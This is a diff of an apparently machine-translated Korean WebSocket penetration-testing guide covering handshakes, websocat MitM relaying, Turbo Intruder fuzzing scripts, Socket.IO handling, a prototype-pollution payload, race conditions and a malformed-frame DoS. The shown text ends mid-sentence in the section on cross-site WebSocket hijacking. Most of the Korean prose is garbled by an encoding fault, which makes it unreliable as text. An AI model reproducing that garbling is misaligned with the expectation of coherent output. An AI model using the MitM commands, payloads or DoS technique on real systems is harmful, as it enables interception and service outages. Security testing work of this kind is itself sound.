์์ด๋ ์ธ์ ๋ ์๋ฐฉํฅ ๋ฉ์์ง์ด ๊ฐ๋ฅํฉ๋๋ค. ์ด๋ก ์ธํด WebSocket์ ์ค์๊ฐ ๊ธ์ต ๋ฐ์ดํฐ ์คํธ๋ฆผ๊ณผ ๊ฐ์ด **์ ์ง์ฐ ๋๋ ์๋ฒ-๋ฐ์ ํต์ **์ด ํ์ํ ์ ํ๋ฆฌ์ผ์ด์
์ ํนํ ์ ๋ฆฌํฉ๋๋ค.
-### WebSocket ์ฐ๊ฒฐ์ ์ค์
+### WebSocket ์ฐ๊ฒฐ ์ค์
-WebSocket ์ฐ๊ฒฐ ์ค์ ์ ๋ํ ์์ธํ ์ค๋ช
์ [**์ฌ๊ธฐ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)์์ ํ์ธํ ์ ์์ต๋๋ค. ์์ฝํ์๋ฉด, WebSocket ์ฐ๊ฒฐ์ ์ผ๋ฐ์ ์ผ๋ก ์๋์ ๊ฐ์ด ํด๋ผ์ด์ธํธ ์ธก JavaScript๋ฅผ ํตํด ์์๋ฉ๋๋ค:
+WebSocket ์ฐ๊ฒฐ ์๋ฆฝ์ ๋ํ ์์ธํ ์ค๋ช
์ [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)์์ ํ์ธํ ์ ์์ต๋๋ค. ์์ฝํ๋ฉด, WebSocket ์ฐ๊ฒฐ์ ์ผ๋ฐ์ ์ผ๋ก ์๋์ ๊ฐ์ด ํด๋ผ์ด์ธํธ ์ธก JavaScript๋ฅผ ํตํด ์์๋ฉ๋๋ค:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
-`wss` ํ๋กํ ์ฝ์ **TLS**๋ก ๋ณดํธ๋ WebSocket ์ฐ๊ฒฐ์ ์๋ฏธํ๋ฉฐ, `ws`๋ **๋ณด์๋์ง ์์** ์ฐ๊ฒฐ์ ๋ํ๋
๋๋ค.
+`wss` ํ๋กํ ์ฝ์ **TLS**๋ก ๋ณดํธ๋๋ WebSocket ์ฐ๊ฒฐ์ ์๋ฏธํ๋ฉฐ, `ws`๋ **๋ณด์๋์ง ์์** ์ฐ๊ฒฐ์ ๋ํ๋
๋๋ค.
-์ฐ๊ฒฐ ์ค์ ์ค์ ๋ธ๋ผ์ฐ์ ์ ์๋ฒ ๊ฐ์ HTTP๋ฅผ ํตํด ํธ๋์
ฐ์ดํฌ๊ฐ ์ํ๋ฉ๋๋ค. ํธ๋์
ฐ์ดํฌ ๊ณผ์ ์ ๋ธ๋ผ์ฐ์ ๊ฐ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ฒ๊ฐ ์๋ตํ๋ ๊ฒ์ผ๋ก ๊ตฌ์ฑ๋๋ฉฐ, ๋ค์ ์์์์ ์ค๋ช
๋ฉ๋๋ค:
+์ฐ๊ฒฐ์ ์ค์ ํ ๋ ๋ธ๋ผ์ฐ์ ์ ์๋ฒ๋ HTTP๋ฅผ ํตํด ํธ๋์
ฐ์ดํฌ๋ฅผ ์ํํฉ๋๋ค. ํธ๋์
ฐ์ดํฌ ๊ณผ์ ์ ๋ธ๋ผ์ฐ์ ๊ฐ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ฒ๊ฐ ์๋ตํ๋ ๊ณผ์ ์ผ๋ก, ๋ค์ ์์์ ์ค๋ช
๋์ด ์์ต๋๋ค:
๋ธ๋ผ์ฐ์ ๊ฐ ํธ๋์
ฐ์ดํฌ ์์ฒญ์ ๋ณด๋
๋๋ค:
```javascript
@@ -33,46 +33,45 @@ Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
-์ฐ๊ฒฐ์ด ์ค์ ๋๋ฉด ์๋ฐฉํฅ์ผ๋ก ๋ฉ์์ง ๊ตํ์ ์ํด ์ด๋ ค ์์ต๋๋ค.
+์ฐ๊ฒฐ์ด ์๋ฆฝ๋๋ฉด ์๋ฐฉํฅ์ผ๋ก ๋ฉ์์ง๋ฅผ ๊ตํํ๊ธฐ ์ํด ์ฐ๊ฒฐ์ด ์ด๋ฆฐ ์ํ๋ก ์ ์ง๋ฉ๋๋ค.
-**WebSocket ํธ๋์
ฐ์ดํฌ์ ์ฃผ์ ์ฌํญ:**
+**WebSocket Handshake์ ํต์ฌ ํฌ์ธํธ:**
-- `Connection` ๋ฐ `Upgrade` ํค๋๋ WebSocket ํธ๋์
ฐ์ดํฌ์ ์์์ ์๋ฆฝ๋๋ค.
+- `Connection` ๋ฐ `Upgrade` ํค๋๋ WebSocket handshake์ ์์์ ์๋ฆฝ๋๋ค.
- `Sec-WebSocket-Version` ํค๋๋ ์ํ๋ WebSocket ํ๋กํ ์ฝ ๋ฒ์ ์ ๋ํ๋ด๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก `13`์
๋๋ค.
-- Base64๋ก ์ธ์ฝ๋ฉ๋ ๋ฌด์์ ๊ฐ์ด `Sec-WebSocket-Key` ํค๋์ ์ ์ก๋์ด ๊ฐ ํธ๋์
ฐ์ดํฌ๊ฐ ๊ณ ์ ํ๋๋ก ๋ณด์ฅํ๋ฉฐ, ์ด๋ ์บ์ฑ ํ๋ก์์ ๊ด๋ จ๋ ๋ฌธ์ ๋ฅผ ๋ฐฉ์งํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. ์ด ๊ฐ์ ์ธ์ฆ์ ์ํ ๊ฒ์ด ์๋๋ผ ์๋ต์ด ์๋ชป ๊ตฌ์ฑ๋ ์๋ฒ๋ ์บ์์์ ์์ฑ๋์ง ์์์์ ํ์ธํ๊ธฐ ์ํ ๊ฒ์
๋๋ค.
-- ์๋ฒ์ ์๋ต์ ์๋ `Sec-WebSocket-Accept` ํค๋๋ `Sec-WebSocket-Key`์ ํด์๋ก, WebSocket ์ฐ๊ฒฐ์ ์ด๋ ค๋ ์๋ฒ์ ์๋๋ฅผ ๊ฒ์ฆํฉ๋๋ค.
+- `Sec-WebSocket-Key` ํค๋์๋ Base64๋ก ์ธ์ฝ๋ฉ๋ ๋ฌด์์ ๊ฐ์ด ์ ์ก๋์ด ๊ฐ handshake๊ฐ ๊ณ ์ ํ๋๋ก ํฉ๋๋ค. ์ด๋ ์บ์ฑ ํ๋ก์์ ๊ด๋ จ๋ ๋ฌธ์ ๋ฅผ ๋ฐฉ์งํ๋ ๋ฐ ๋์์ ์ค๋๋ค. ์ด ๊ฐ์ ์ธ์ฆ์ฉ์ด ์๋๋ผ ์๋ต์ด ์๋ชป ๊ตฌ์ฑ๋ ์๋ฒ๋ ์บ์์์ ์์ฑ๋ ๊ฒ์ด ์๋์ ํ์ธํ๊ธฐ ์ํ ๊ฒ์
๋๋ค.
+- ์๋ฒ ์๋ต์ `Sec-WebSocket-Accept` ํค๋๋ `Sec-WebSocket-Key`์ ํด์๋ก, ์๋ฒ๊ฐ WebSocket ์ฐ๊ฒฐ์ ์ด ์๋๊ฐ ์์์ ๊ฒ์ฆํฉ๋๋ค.
-์ด๋ฌํ ๊ธฐ๋ฅ์ ํธ๋์
ฐ์ดํฌ ํ๋ก์ธ์ค๊ฐ ์์ ํ๊ณ ์ ๋ขฐํ ์ ์๋๋ก ๋ณด์ฅํ์ฌ ํจ์จ์ ์ธ ์ค์๊ฐ ํต์ ์ ์ํ ๊ธธ์ ์ด์ด์ค๋๋ค.
+์ด๋ฌํ ํน์ง๋ค์ handshake ๊ณผ์ ์ด ์์ ํ๊ณ ์ ๋ขฐํ ์ ์๋๋ก ๋ณด์ฅํ์ฌ ํจ์จ์ ์ธ ์ค์๊ฐ ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
### Linux ์ฝ์
-`websocat`์ ์ฌ์ฉํ์ฌ websocket๊ณผ์ ์์ ์ฐ๊ฒฐ์ ์ค์ ํ ์ ์์ต๋๋ค.
+`websocat`์ ์ฌ์ฉํด websocket๊ณผ์ ์์ ์ฐ๊ฒฐ์ ์๋ฆฝํ ์ ์์ต๋๋ค.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
-์น์์ผ ์๋ฒ๋ฅผ ์์ฑํ๋ ค๋ฉด:
+๋๋ websocat ์๋ฒ๋ฅผ ์์ฑํ๋ ค๋ฉด:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket ์ฐ๊ฒฐ
-ํ์ฌ ๋ก์ปฌ ๋คํธ์ํฌ์์ ํด๋ผ์ด์ธํธ๊ฐ **HTTP websocket**์ ์ฐ๊ฒฐ๋์ด ์๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด, ํด๋ผ์ด์ธํธ์ ์๋ฒ ๊ฐ์ MitM ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํด [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)์ ์๋ํ ์ ์์ต๋๋ค.\
-ํด๋ผ์ด์ธํธ๊ฐ ์ฐ๊ฒฐ์ ์๋ํ ๋, ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
+ํ์ฌ ๋ก์ปฌ ๋คํธ์ํฌ์์ ํด๋ผ์ด์ธํธ๊ฐ **HTTP websocket**์ ์ฐ๊ฒฐ๋์ด ์๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)์ ์๋ํ์ฌ ํด๋ผ์ด์ธํธ์ ์๋ฒ ์ฌ์ด์ MitM ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.\ ํด๋ผ์ด์ธํธ๊ฐ ์ฐ๊ฒฐ์ ์๋ํ๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
-### Websockets enumeration
+### Websockets ์ด๊ฑฐ
-**๋๊ตฌ** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **๋ฅผ ์ฌ์ฉํ์ฌ ์น์์ผ์์ ์๋ ค์ง** **์ทจ์ฝ์ **์ ์๋์ผ๋ก ๋ฐ๊ฒฌํ๊ณ , ์ง๋ฌธ์ ์ฐ๊ณ , ๊ฒ์ํ ์ ์์ต๋๋ค.
+You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **๋ฅผ ์ฌ์ฉํ์ฌ websockets์์ ์๋ ค์ง** **์ทจ์ฝ์ **์ ์๋์ผ๋ก ๋ฐ๊ฒฌ, fingerprint ๋ฐ ๊ฒ์ํ ์ ์์ต๋๋ค.
### Websocket Debug tools
-- **Burp Suite**๋ ์ผ๋ฐ HTTP ํต์ ๊ณผ ๋งค์ฐ ์ ์ฌํ ๋ฐฉ์์ผ๋ก MitM ์น์์ผ ํต์ ์ ์ง์ํฉ๋๋ค.
-- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite ํ์ฅ**์ **ํ์คํ ๋ฆฌ**๋ฅผ ๊ฐ์ ธ์ค๊ณ , **๊ฐ๋ก์ฑ๊ธฐ ๊ท์น**์ ์ค์ ํ๊ณ , **์ผ์น ๋ฐ ๊ต์ฒด** ๊ท์น์ ์ฌ์ฉํ๊ณ , **Intruder** ๋ฐ **AutoRepeater**๋ฅผ ์ฌ์ฉํ์ฌ Burp์์ ์น์์ผ ํต์ ์ ๋ ์ ๊ด๋ฆฌํ ์ ์๊ฒ ํด์ค๋๋ค.
-- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"์ ์ฝ์๋ก, Node.js๋ก ์์ฑ๋ ์ด ๋๊ตฌ๋ ํด๋ผ์ด์ธํธ์ ์๋ฒ ๊ฐ์ ๋ชจ๋ WebSocket ๋ฐ Socket.IO ํต์ ์ **์บก์ฒ, ๊ฐ๋ก์ฑ๊ธฐ, ์ฌ์ฉ์ ์ ์** ๋ฉ์์ง๋ฅผ ์ ์กํ๊ณ ๋ณผ ์ ์๋ ์ฌ์ฉ์ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํฉ๋๋ค.
-- [**wsrepl**](https://github.com/doyensec/wsrepl)๋ ์นจํฌ ํ
์คํธ๋ฅผ ์ํด ํน๋ณํ ์ค๊ณ๋ **๋ํํ ์น์์ผ REPL**์
๋๋ค. **๋ค์ด์ค๋ ์น์์ผ ๋ฉ์์ง๋ฅผ ๊ด์ฐฐํ๊ณ ์๋ก์ด ๋ฉ์์ง๋ฅผ ์ ์ก**ํ ์ ์๋ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ๋ฉฐ, ์ด ํต์ ์ **์๋ํ**ํ๊ธฐ ์ํ ์ฌ์ฉํ๊ธฐ ์ฌ์ด ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค.
-- [**https://websocketking.com/**](https://websocketking.com/)๋ **์น์์ผ**์ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์น๊ณผ ํต์ ํ๋ **์น**์
๋๋ค.
-- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)๋ ๋ค๋ฅธ ์ ํ์ ํต์ /ํ๋กํ ์ฝ ์ค์์ **์น์์ผ**์ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์น๊ณผ ํต์ ํ๋ **์น**์ ์ ๊ณตํฉ๋๋ค.
+- **Burp Suite**๋ ์ผ๋ฐ HTTP ํต์ ๊ณผ ๋งค์ฐ ์ ์ฌํ ๋ฐฉ์์ผ๋ก MitM websockets ํต์ ์ ์ง์ํฉ๋๋ค.
+- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension**์ Burp์์ Websocket ํต์ ์ ๋ ์ ๊ด๋ฆฌํ ์ ์๊ฒ ํด ์ฃผ๋ฉฐ, **history**๋ฅผ ํ์ธํ๊ณ **interception rules**๋ฅผ ์ค์ ํ๋ฉฐ **match and replace** ๊ท์น์ ์ ์ฉํ๊ณ **Intruder**์ **AutoRepeater**๋ฅผ ์ฌ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
+- [**WSSiP**](https://github.com/nccgroup/wssip)**:** ์ฝ์นญ "**WebSocket/Socket.io Proxy**"์ธ ์ด ๋๊ตฌ๋ Node.js๋ก ์์ฑ๋์์ผ๋ฉฐ ์ฌ์ฉ์ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ์ฌ **capture, intercept, send custom** ๋ฉ์์ง๋ฅผ ์ ์กํ๊ณ ํด๋ผ์ด์ธํธ์ ์๋ฒ ๊ฐ์ ๋ชจ๋ WebSocket ๋ฐ Socket.IO ํต์ ์ ๋ณผ ์ ์๊ฒ ํฉ๋๋ค.
+- [**wsrepl**](https://github.com/doyensec/wsrepl) ์ penetration testing์ ์ํด ํน๋ณํ ์ค๊ณ๋ **interactive websocket REPL**์
๋๋ค. ์ด ๋๊ตฌ๋ **incoming websocket messages and sending new ones**๋ฅผ ๊ด์ฐฐํ๊ณ ์ ์กํ ์ ์๋ ์ธํฐํ์ด์ค๋ฅผ ์ ๊ณตํ๋ฉฐ, ์ด ํต์ ์ **automating**ํ๊ธฐ ์ํ ์ฌ์ฉํ๊ธฐ ์ฌ์ด ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค.
+- [**https://websocketking.com/**](https://websocketking.com/) ์ **๋ค๋ฅธ ์น๊ณผ ํต์ ํ๊ธฐ ์ํ ์น ์ธํฐํ์ด์ค**๋ก websockets๋ฅผ ์ฌ์ฉํด ๋ค๋ฅธ ์น๊ณผ ํต์ ํ ์ ์์ต๋๋ค.
+- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) ๋ ์ฌ๋ฌ ํต์ /ํ๋กํ ์ฝ ์ค ํ๋๋ก websockets๋ฅผ ์ฌ์ฉํด ๋ค๋ฅธ ์น๊ณผ ํต์ ํ ์ ์๋ **์น ์ธํฐํ์ด์ค**๋ฅผ ์ ๊ณตํฉ๋๋ค.
## Decrypting Websocket
@@ -81,33 +80,150 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
## Websocket Lab
-[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)์์ ์น์์ผ์ ์ฌ์ฉํ์ฌ ์น์ ์์ํ๋ ์ฝ๋๋ฅผ ์ฐพ์ ์ ์์ผ๋ฉฐ, [**์ด ๊ฒ์๋ฌผ**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)์์ ์ค๋ช
์ ์ฐพ์ ์ ์์ต๋๋ค.
+In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) ์๋ websockets๋ฅผ ์ฌ์ฉํ๋ ์น์ ์คํํ๋ ์ฝ๋๊ฐ ์์ผ๋ฉฐ, [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) ์์ ์ค๋ช
์ ํ์ธํ ์ ์์ต๋๋ค.
## Websocket Fuzzing
-Burp ํ์ฅ [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner)๋ ์ด์ ์น์์ผ ๋ฉ์์ง๋ ํผ์งํ ์ ์์ต๋๋ค. ์ด์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ [**์ฌ๊ธฐ**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)์์ ์ฝ์ ์ ์์ต๋๋ค.
+The burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) ์ด์ WebSocket ๋ฉ์์ง๋ ํผ์งํ ์ ์๊ฒ ํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)์์ ํ์ธํ์ธ์.
+
+### WebSocket Turbo Intruder (Burp extension)
+
+PortSwigger's WebSocket Turbo Intruder๋ Turbo Intruderโstyle Python ์คํฌ๋ฆฝํ
๊ณผ ๊ณ ์ ํผ์ง์ WebSockets์ ์ ๊ณตํฉ๋๋ค. BApp Store ๋๋ ์์ค์์ ์ค์นํ ์ ์์ต๋๋ค. ๋ ๊ฐ์ง ๊ตฌ์ฑ์์๋ฅผ ํฌํจํฉ๋๋ค:
+
+- Turbo Intruder: custom engines๋ฅผ ์ฌ์ฉํด ๋จ์ผ WS endpoint์ ๊ณ ์ฉ๋ ๋ฉ์์ง์ ์ํํฉ๋๋ค.
+- HTTP Middleware: ๋ก์ปฌ HTTP endpoint๋ฅผ ๋
ธ์ถํ์ฌ ๋ฐ๋๋ฅผ persistent ์ฐ๊ฒฐ์ ํตํด WS ๋ฉ์์ง๋ก ํฌ์๋ฉํ๋ฏ๋ก, ๋ชจ๋ HTTP ๊ธฐ๋ฐ ์ค์บ๋๊ฐ WS ๋ฐฑ์๋๋ฅผ ํ์ํ ์ ์๊ฒ ํฉ๋๋ค.
+
+Basic script pattern to fuzz a WS endpoint and filter relevant responses:
+```python
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(upgrade_request)
+for i in range(10):
+connection.queue(message, str(i))
+
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@MatchRegex(r'{\"user\":\"Hal Pline\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+๋จ์ผ ๋ฉ์์ง๊ฐ ์ฌ๋ฌ ์๋ต์ ์ ๋ฐํ ๋ ๋
ธ์ด์ฆ๋ฅผ ์ค์ด๊ธฐ ์ํด `@MatchRegex(...)` ๊ฐ์ ๋ฐ์ฝ๋ ์ดํฐ๋ฅผ ์ฌ์ฉํ์ธ์.
+
+### HTTP ๋ค์ WS ๋ธ๋ฆฌ์ง (HTTP Middleware)
+
+์ง์์ ์ธ WS ์ฐ๊ฒฐ์ ๋ํํ๊ณ HTTP ๋ณธ๋ฌธ์ WS ๋ฉ์์ง๋ก ์ ๋ฌํ์ฌ HTTP scanners๋ก ์๋ํ๋ ํ
์คํธ๋ฅผ ์ํํฉ๋๋ค:
+```python
+def create_connection(upgrade_request):
+connection = websocket_connection.create(upgrade_request)
+return connection
+
+@MatchRegex(r'{\"user\":\"You\"')
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+๊ทธ๋ฐ ๋ค์ ๋ก์ปฌ๋ก HTTP๋ฅผ ์ ์กํฉ๋๋ค; ๋ณธ๋ฌธ์ WS ๋ฉ์์ง๋ก ์ ๋ฌ๋ฉ๋๋ค:
+```http
+POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
+Host: 127.0.0.1:9000
+Content-Length: 16
+
+{"message":"hi"}
+```
+์ด ๋ฐฉ๋ฒ์ผ๋ก WS ๋ฐฑ์๋๋ฅผ ์ ์ดํ๋ฉด์ โํฅ๋ฏธ๋ก์ดโ ์ด๋ฒคํธ(์: SQLi errors, auth bypass, command injection behavior)๋ฅผ ํํฐ๋งํ ์ ์์ต๋๋ค.
+
+### Socket.IO ์ฒ๋ฆฌ (ํธ๋์
ฐ์ดํฌ, ํํธ๋นํธ, ์ด๋ฒคํธ)
+
+Socket.IO๋ WS ์์ ์์ฒด์ ์ธ ํ๋ ์ด๋ฐ์ ์ถ๊ฐํฉ๋๋ค. ํ์ ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์ `EIO`(์: `EIO=4`)๋ก ์ด๋ฅผ ๊ฐ์งํ์ธ์. Ping (`2`)์ Pong (`3`)์ผ๋ก ์ธ์
์ ์ ์งํ๊ณ ๋ํ๋ฅผ `"40"`์ผ๋ก ์์ํ ๋ค `42["message","hello"]` ๊ฐ์ ์ด๋ฒคํธ๋ฅผ emitํ์ธ์.
+
+Intruder ์์:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def queue_websockets(upgrade_request, message):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.queue('42["message","hello"]')
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+HTTP ์ด๋ํฐ ๋ณํ:
+```python
+import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
+
+def create_connection(upgrade_request):
+connection = websocket_connection.create(
+upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
+connection.queue('40')
+connection.decIn()
+return connection
+
+@Pong("3")
+def handle_outgoing_message(websocket_message):
+results_table.add(websocket_message)
+
+@PingPong("2", "3")
+def handle_incoming_message(websocket_message):
+results_table.add(websocket_message)
+```
+### Socket.IO๋ฅผ ํตํ ์๋ฒ ์ธก prototype pollution ํ์ง
+
+PortSwigger์ ์์ ํ ํ์ง ๊ธฐ๋ฒ์ ๋ฐ๋ผ, ๋ค์๊ณผ ๊ฐ์ payload๋ฅผ ์ ์กํด Express ๋ด๋ถ๋ฅผ ์ค์ผ์์ผ ๋ณด์ธ์:
+```json
+{"__proto__":{"initialPacket":"Polluted"}}
+```
+๋ง์ฝ ์ธ์ฌ๋ง์ด๋ ๋์์ด ๋ณ๊ฒฝ๋๋ฉด(์: echo์ "Polluted"๊ฐ ํฌํจ๋๋ ๊ฒฝ์ฐ), ์๋ฒ ์ธก ํ๋กํ ํ์
์ ์ค์ผ์ํจ ๊ฒ์ผ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค. ์ํฅ์ ๋๋ฌ ๊ฐ๋ฅํ sinks์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฉฐ, Node.js prototype pollution ์น์
์ gadgets์ ์ฐ๊ด์ง์ด ๋ณด์ธ์. ์ฐธ๊ณ :
+
+- Check [NodeJS โ __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
+
+### WebSocket race conditions with Turbo Intruder
+
+๊ธฐ๋ณธ ์์ง์ ํ ์ฐ๊ฒฐ์์ ๋ฉ์์ง๋ฅผ ๋ฐฐ์น ์ฒ๋ฆฌํฉ๋๋ค(์ฒ๋ฆฌ๋์ ์ฐ์ํ์ง๋ง ๋ ์ด์ค์๋ ๋ถ์ ํฉ). THREADED ์์ง์ ์ฌ์ฉํด ์ฌ๋ฌ WS ์ฐ๊ฒฐ์ ์์ฑํ๊ณ ํ์ด๋ก๋๋ฅผ ๋ณ๋ ฌ๋ก ์ ์กํ๋ฉด ๋
ผ๋ฆฌ์ ๋ ์ด์ค(doubleโspend, token reuse, state desync)๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค. ์์ ์คํฌ๋ฆฝํธ์์ ์์ํด `config()`์ ๋์์ฑ ์ค์ ์ ์กฐ์ ํ์ธ์.
+
+- Learn methodology and alternatives in [Race Condition](race-condition.md) (see โRC in WebSocketsโ).
+
+### WebSocket DoS: malformed frame โPing of Deathโ
+
+ํค๋์ ๊ฑฐ๋ํ ํ์ด๋ก๋ ๊ธธ์ด๋ฅผ ์ ์ธํ์ง๋ง ๋ณธ๋ฌธ์ ์ ์กํ์ง ์๋ WS ํ๋ ์์ ์ ์ํ์ธ์. ์ผ๋ถ WS ์๋ฒ๋ ๊ธธ์ด๋ฅผ ์ ๋ขฐํ๊ณ ๋ฒํผ๋ฅผ ๋ฏธ๋ฆฌ ํ ๋นํ๋ฏ๋ก `Integer.MAX_VALUE`์ ๊ฐ๊น๊ฒ ์ค์ ํ๋ฉด OutโOfโMemory๋ฅผ ์ผ์ผ์ผ ์๊ฒฉ unauth DoS๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค. ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฐธ์กฐํ์ธ์.
+
+### CLI ๋ฐ ๋๋ฒ๊น
+
+- Headless fuzzing: `java -jar WebSocketFuzzer-.jar `
+- ๋ด๋ถ ID๋ฅผ ์ฌ์ฉํด ๋ฉ์์ง๋ฅผ ์บก์ฒํ๊ณ ์ฐ๊ด์ํค๋ ค๋ฉด WS Logger๋ฅผ ํ์ฑํํ์ธ์.
+- ๋ณต์กํ ์ด๋ํฐ์์ ๋ฉ์์ง ID ์ฒ๋ฆฌ๋ฅผ ์กฐ์ ํ๋ ค๋ฉด `Connection`์ `inc*`/`dec*` ํฌํผ๋ฅผ ์ฌ์ฉํ์ธ์.
+- `@PingPong`/`@Pong` ๊ฐ์ ๋ฐ์ฝ๋ ์ดํฐ์ `isInteresting()` ๊ฐ์ ํฌํผ๋ ๋
ธ์ด์ฆ๋ฅผ ์ค์ด๊ณ ์ธ์
์ ์ ์งํ๋ ๋ฐ ๋์๋ฉ๋๋ค.
+
+### ์ด์ ์์ ์ฑ
+
+๊ณ ์ WS fuzzing์ ๋ง์ ์ฐ๊ฒฐ์ ์ด๊ณ ์ด๋น ์์ฒ ๊ฐ์ ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค. ์๋ชป๋ ํ๋ ์๊ณผ ๋์ ์ ์ก๋ฅ ์ ์ค์ DoS๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค. ํ๊ฐ๋ ๊ณณ์์๋ง ์ฌ์ฉํ์ธ์.
## Cross-site WebSocket hijacking (CSWSH)
-**๊ต์ฐจ ์ฌ์ดํธ ์น์์ผ ํ์ด์ฌํน**์ **๊ต์ฐจ ์ถ์ฒ ์น์์ผ ํ์ด์ฌํน**์ผ๋ก๋ ์๋ ค์ ธ ์์ผ๋ฉฐ, ์น์์ผ ํธ๋์
ฐ์ดํฌ์ ์ํฅ์ ๋ฏธ์น๋ **[๊ต์ฐจ ์ฌ์ดํธ ์์ฒญ ์์กฐ (CSRF)](csrf-cross-site-request-forgery.md)**์ ํน์ ์ฌ๋ก๋ก ์๋ณ๋ฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ ์น์์ผ ํธ๋์
ฐ์ดํฌ๊ฐ **CSRF ํ ํฐ**์ด๋ ์ ์ฌํ ๋ณด์ ์กฐ์น ์์ด ์ค์ง **HTTP ์ฟ ํค**๋ฅผ ํตํด ์ธ์ฆ๋ ๋ ๋ฐ์ํฉ๋๋ค.
+**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, ์ WebSocket ํธ๋์
ฐ์ดํฌ์ ์ํฅ์ ๋ฏธ์น๋ **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**์ ํน์ ์ฌ๋ก๋ก ๋ถ๋ฅ๋ฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ WebSocket ํธ๋์
ฐ์ดํฌ๊ฐ **HTTP cookies**๋ง์ผ๋ก ์ธ์ฆํ๊ณ **CSRF tokens**๋ ์ ์ฌํ ๋ณด์ ์๋จ์ ์ฌ์ฉํ์ง ์์ ๋ ๋ฐ์ํฉ๋๋ค.
-๊ณต๊ฒฉ์๋ **์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์
**์ ๋ํ ๊ต์ฐจ ์ฌ์ดํธ ์น์์ผ ์ฐ๊ฒฐ์ ์์ํ๋ **์
์ฑ ์น ํ์ด์ง**๋ฅผ ํธ์คํ
ํ์ฌ ์ด๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ์ด ์ฐ๊ฒฐ์ ์ ํ๋ฆฌ์ผ์ด์
๊ณผ์ ํผํด์์ ์ธ์
